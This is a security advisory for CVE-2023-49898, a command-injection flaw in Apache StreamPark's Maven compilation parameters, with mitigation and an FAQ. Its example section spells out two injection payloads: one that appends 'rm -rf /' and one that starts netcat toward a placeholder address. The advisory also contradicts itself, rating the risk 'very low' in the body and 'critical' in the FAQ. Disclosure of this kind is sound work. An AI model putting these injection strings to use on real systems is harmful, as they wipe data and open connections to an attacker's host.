CVE-2023-49898: Apache StreamPark (incubating): Authenticated system users could trigger remote command execution
In streampark, there is a project module that integrates Maven's compilation capability. However, there is no check on the compilation parameters of Maven. allowing attackers to insert commands for remote command execution, The prerequisite for a successful attack is that the user needs to log in to the streampark system and have system-level permissions. Generally, only users of that system have the authorization to log in, and users would not manually input a dangerous operation command. Therefore, the risk level of this vulnerability is very low.
Mitigation:
all users should upgrade to 2.1.2
Example:
##You can customize the splicing method according to the compilation situation of the project, mvn compilation results use &&, compilation failure use "||" or "&&":
/usr/share/java/maven-3/conf/settings.xml || rm -rf /
/usr/share/java/maven-3/conf/settings.xml && nohup nc x.x.x.x 8899 &
Affected Software
Event History
Frequently Asked Questions
What is the severity of CVE-2023-49898?
CVE-2023-49898 is classified as a critical vulnerability due to its potential for remote command execution.
How do I fix CVE-2023-49898?
To mitigate CVE-2023-49898, upgrade to version 2.1.2 or later of Apache StreamPark.
Who is affected by CVE-2023-49898?
CVE-2023-49898 affects Apache StreamPark versions between 2.0.0 and 2.1.2.
What is the impact of CVE-2023-49898?
CVE-2023-49898 allows attackers to execute arbitrary commands remotely, which can compromise system integrity.
How can I identify if my system is vulnerable to CVE-2023-49898?
You can determine vulnerability to CVE-2023-49898 by checking if you are using Apache StreamPark versions prior to 2.1.2.